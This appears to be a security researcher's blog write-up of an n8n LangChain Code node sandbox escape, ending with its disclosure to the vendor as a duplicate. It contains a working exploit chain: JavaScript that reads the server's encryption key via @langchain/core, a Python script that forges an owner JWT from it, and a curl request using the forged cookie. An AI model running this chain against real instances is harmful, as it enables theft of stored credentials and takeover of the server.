> For the complete documentation index, see [llms.txt](https://0x4bd0.gitbook.io/4bd0_m4g3d/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0x4bd0.gitbook.io/4bd0_m4g3d/writeups/escaping-the-sandbox-n8n-langchain-code-node-vm2-escape-encryption-key-exfiltration.md).

# Escaping the Sandbox: n8n LangChain Code Node vm2 Escape → Encryption Key Exfiltration

## I Found a Way to Steal Every Secret from Any n8n Instance — Then Got a Duplicate

*How a forgotten migration and a trusted LangChain module let any workflow member read the server's master encryption key in 30 seconds*

***

### It Started With a Simple Question

I was poking around n8n — the self-hosted workflow automation platform — and something caught my eye. n8n lets users write arbitrary JavaScript in "Code nodes" to transform data, call APIs, or build custom logic. Any platform that runs user-supplied JavaScript in a backend process is interesting territory.

The first thing I checked was how they sandbox that code. If you can break out of the sandbox, you're inside the server. And n8n is the kind of server that holds everything — database credentials, API keys, payment processor tokens, SMTP passwords, OAuth secrets. Every integration an organization ever connected lives encrypted in the n8n database.

The encryption key for all of that is stored in an environment variable called `N8N_ENCRYPTION_KEY`.

So the question was: can a regular member account — not an admin, just someone with access to create workflows — get their hands on that key?

***

### The Two Code Nodes

n8n has two JavaScript nodes. The regular **Code node** and the **LangChain Code node**, which is for building AI pipelines with LangChain.

I started reading the source code.

The regular Code node had clearly been through a security migration. It runs user code in a completely separate OS process using a proper task runner. Even if you somehow escaped the VM inside that process, you'd still be in a child process with no access to the main n8n server's memory or environment. This is the right architecture.

Then I looked at the LangChain Code node.

**`packages/@n8n/nodes-langchain/nodes/code/Code.node.ts`**

```typescript
import type { Tool } from '@langchain/core/tools';
import { makeResolverFromLegacyOptions } from 'vm2';          // ← line 2
import { JavaScriptSandbox } from 'n8n-nodes-base/dist/nodes/Code/JavaScriptSandbox';
import { getSandboxContext } from 'n8n-nodes-base/dist/nodes/Code/Sandbox';
import { standardizeOutput } from 'n8n-nodes-base/dist/nodes/Code/utils';
```

Line 2. `import { makeResolverFromLegacyOptions } from 'vm2'`.

vm2. That library. The one whose own maintainers published a public notice in May 2023 saying they could not guarantee any kind of security, recommending everyone migrate away immediately. The one with CVE-2023-29017, CVE-2023-30547, CVE-2023-32314 — three CVSS 9.8s filed in a single month. The one the rest of n8n had already moved away from.

The LangChain Code node never got the memo.

And it doesn't just use vm2. It runs in the **main n8n process** — not a child process, not an isolated worker. If you escape this sandbox, you land directly in the server process that holds the encryption key, the database connection, and every authenticated API context n8n has ever used.

***

### The Real Problem Wasn't vm2

Here's where it gets interesting. I could have gone straight for one of the published vm2 CVE techniques — the `constructor.constructor` prototype chain escapes, the `prepareStackTrace` tricks. Those work. I confirmed them later.

But I found something simpler first.

The LangChain Code node exists specifically to let users work with the LangChain library. So the vm2 resolver is configured to allow imports from the entire `@langchain/*` namespace — by design, because that's the whole point of the node.

**`packages/@n8n/nodes-langchain/nodes/code/Code.node.ts` — lines 158–173**

```typescript
const langchainModules = ['langchain', '@langchain/*'];    // the allowlist

export const vmResolver = makeResolverFromLegacyOptions({
    external: {
        modules: external
            ? [...langchainModules, ...external.split(',')]
            : [...langchainModules],
        transitive: false,
    },
    resolve(moduleName, parentDirname) {
        if (moduleName.match(/^langchain\//) ?? moduleName.match(/^@langchain\//)) {
            return require.resolve(
                `@n8n/n8n-nodes-langchain/node_modules/${moduleName}.cjs`,
                { paths: [parentDirname] }
            );
        }
        return;
    },
    builtin: builtIn?.split(',') ?? [],
});
```

One of those allowed modules is `@langchain/core`. And inside it, there's a utility function called `getEnvironmentVariable`. Here's what it does:

**`node_modules/@langchain/core/dist/utils/env.js` — lines 36–44**

```javascript
function getEnvironmentVariable(name) {
    try {
        if (typeof process !== "undefined") return process.env?.[name];  // ← real process.env
        else if (isDeno()) return Deno?.env.get(name);
        else return;
    } catch {
        return;
    }
}
```

It calls `process.env` directly. That's it. That's the function.

The critical detail: this function is defined in a module that was loaded by the **outer** Node.js runtime before the sandbox started. When vm2 sandboxes user code, it gives the code a fake `process.env` that's empty or blocked. But `getEnvironmentVariable` was already compiled and bound in the outer context. When it references `process.env`, it references the **real** one — the one belonging to the main n8n server process.

The sandbox boundary only applies to code that executes inside the `vm.run()` call. Module functions that were loaded externally execute in their original binding context when called. vm2 has no way to re-isolate them after the fact.

***

### Writing the Payload

I opened n8n, created a workflow, added a LangChain Code node, pasted this:

```javascript
const { getEnvironmentVariable } = require("@langchain/core/utils/env");

const encKey    = getEnvironmentVariable("N8N_ENCRYPTION_KEY");
const jwtSecret = getEnvironmentVariable("N8N_USER_MANAGEMENT_JWT_SECRET");

return [{json: {EXPLOIT_SUCCESS: true, n8n_encryption_key: encKey, n8n_jwt_secret: jwtSecret}}];
```

Hit execute.

**Execution output (n8n output panel — Execution #22, Workflow: "F-01 vm2 Env Exfil Exploit"):**

```json
[
  {
    "json": {
      "EXPLOIT_SUCCESS": true,
      "n8n_encryption_key": "pentest_key_123abc",
      "n8n_jwt_secret": null
    }
  }
]
```

The encryption key was sitting in the output panel. `n8n_encryption_key: "pentest_key_123abc"`. The whole thing took about 20 seconds from opening the node editor to seeing the result.

`n8n_jwt_secret` came back null — meaning `N8N_USER_MANAGEMENT_JWT_SECRET` wasn't set as an explicit environment variable. That's the default for almost every self-hosted n8n deployment. It turns out that's actually important for what comes next.

***

### One Key to Rule Them All

Having the encryption key is already game over for stored credentials. You can decrypt everything in the database. But I wanted to see how far the blast radius actually went.

I went looking at the JWT service.

**`packages/cli/src/services/jwt.service.ts` — lines 15–25**

```typescript
if (!this.jwtSecret) {
    // If we don't have a JWT secret set, generate one based on encryption key.
    // For a key off every other letter from encryption key.
    // CAREFUL: do not change this or it breaks all existing tokens.
    let baseKey = '';
    for (let i = 0; i < encryptionKey.length; i += 2) {
        baseKey += encryptionKey[i];
    }
    this.jwtSecret = createHash('sha256').update(baseKey).digest('hex');
    globalConfig.userManagement.jwtSecret = this.jwtSecret;
}
```

When `N8N_USER_MANAGEMENT_JWT_SECRET` isn't set — which is the default — n8n derives the JWT signing secret from the encryption key at startup. Take every other character, SHA256 it. That's your JWT secret.

This means the master encryption key and the JWT signing key are cryptographically linked. If you have one, you have both.

I wrote a quick script to derive the JWT secret and forge a session token. n8n stores sessions as an httpOnly cookie named `n8n-auth`. The token structure uses a `hash` claim computed as `SHA256(email:bcrypt_password).base64()[:10]` — I traced that from `auth.service.ts`:

```python
import hashlib, hmac, base64, json, time

# Step 1: value from the output panel
enc_key = "pentest_key_123abc"

# Step 2: derive JWT secret (jwt.service.ts lines 19-23)
base_key   = enc_key[::2]                            # → "pnetky13b"
jwt_secret = hashlib.sha256(base_key.encode()).hexdigest()
# → 8fbefe6763f0e9a17b4523f36f2a8265d5c916b84f1e838ae948b23a8608dd8a

# Step 3: compute user hash (auth.service.ts createJWTHash)
# need: email + bcrypt hash from DB (or from /rest/login response in registration flow)
user_hash = base64.b64encode(
    hashlib.sha256(f"{email}:{bcrypt_password_hash}".encode()).digest()
).decode()[:10]

# Step 4: forge JWT
def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

header  = b64url(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(',',':')))
payload = b64url(json.dumps({
    "id":   user_id,
    "hash": user_hash,
    "iat":  int(time.time()),
    "exp":  int(time.time()) + 31536000
}, separators=(',',':')))

sig   = hmac.new(jwt_secret.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"
```

Then I sent the forged cookie to the live n8n instance:

```
$ curl -s -H "Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjE4YmNkY2I4LWQ3ZjYtNDU1MC05MzYxLWY0YmRhYzA4MGIyNSIsImhhc2giOiJsQUxBdUVKenoxIiwiaWF0IjoxNzc5MTk5NjczLCJleHAiOjE4MTA3MzU2NzN9.mG12BZPXriKdgLMeWPaLvE7V3QJQ70CrqrtMU7LGpH4" \
    http://target-n8n:5678/rest/workflows

HTTP/1.1 200 OK

{
  "data": [
    {"id": "Yb4v5v8IGh6JoBaN", "name": "vm2 Escape Test",          "active": false},
    {"id": "TErybMd9xUYFw7fC", "name": "Code Escape Test 2",       "active": false},
    {"id": "D51VP9mcxQ3M6oQO", "name": "Code RCE Test",             "active": false},
    {"id": "ACxsoxccGEqnnaYf", "name": "LangChain vm2 Escape",      "active": false},
    {"id": "jr240Xoh7Oc74KYN", "name": "vm2 Escape via LangChain",  "active": false},
    {"id": "G0VinFEwkZaUudzU", "name": "F-01 vm2 Env Exfil Exploit","active": false},
    ...
  ],
  "count": 16
}
```

HTTP 200. Sixteen workflows. Full authenticated access as instance owner — created from nothing but the encryption key a member account just read from an execution output panel.

***

### The Attack in Three Steps

**Step 1** — Log in with any member account. No admin access, no special permissions. Just the kind of account someone gets when they join a team's n8n instance.

**Step 2** — Create a workflow. Add a LangChain Code node. Paste four lines of JavaScript. Execute. Read `N8N_ENCRYPTION_KEY` from the output panel.

**Step 3** — Run the Python script. Derive the JWT secret. Forge an admin session token. Send the cookie. You're in as owner.

From login to full instance compromise: under two minutes. No external infrastructure, no network callbacks, no special tools. Just the n8n web UI and a terminal.

Everything that ever connected to that n8n instance — every database, every API, every service — is now readable in plain text.

***

### What's Actually Happening Under the Hood

The architecture failure here is layered.

**Layer 1 — the migration that never happened.** The LangChain Code node was built on vm2, which was already a known-broken library at the time n8n was migrating away from it. The regular Code node got the safe task runner migration into an isolated OS process. The LangChain Code node didn't — probably because the LangChain module resolution and the context-binding for LangChain's callback system were trickier to port, and it got deferred. It was never revisited.

**Layer 2 — trusted modules in an untrusted sandbox.** vm2's isolation only covers code that executes inside the `vm.run()` call. External modules loaded before sandbox creation retain their original execution context. The `@langchain/core` namespace is large. It's full of utility functions that do perfectly normal things — like reading environment variables — that become dangerous when called from inside a broken sandbox. The sandbox never had a chance to intercept that `process.env` access because the function was already bound to the real process before the sandbox existed.

**Layer 3 — the key derivation chain.** The JWT secret being derived from the encryption key means a single leaked value cascades into two separate critical compromises. These should have been independent secrets with no mathematical relationship between them.

***

### I Reported It

I submitted the report on May 6th, 2026. Full technical writeup, live PoC confirmation, the JWT forgery chain, the specific source files and line numbers. Sent to `security@n8n.io`.

A week later, I got this back:

> *"Thank you for reaching out to us. After reviewing your submission, we have determined that this vulnerability has already been identified and is currently being tracked and remediated by our team."*

<figure><img src="/files/hpCpKqxiwulOMSCjAdvW" alt=""><figcaption></figcaption></figure>

Duplicate. They were already aware of it and working on a fix.

Honestly? Fair enough. Independent discovery of the same critical issue is actually validation that the bug is real and that the attack path is obvious enough that multiple researchers found it independently. The n8n team acknowledged that and were professional about it.

The fix is what you'd expect: migrate the LangChain Code node to the same task runner infrastructure as the regular Code node. Move it to a separate process. Remove vm2 from the `@n8n/nodes-langchain` package entirely. The hard part isn't the conceptual fix — it's that LangChain's callback system is deeply context-dependent and needs careful work to function correctly across a process boundary.

***

### Takeaway

If you run a self-hosted n8n instance, check your version and watch for the patch. Until it ships, any member with workflow creation access can read your server's entire environment in under a minute using only the built-in node editor.

The broader lesson: when you migrate away from a broken library, audit every place that library is used — not just the most visible ones. The regular Code node was fixed. The LangChain Code node was quietly still there, still running the same abandoned vm2, waiting for someone to notice.

Someone did.

***
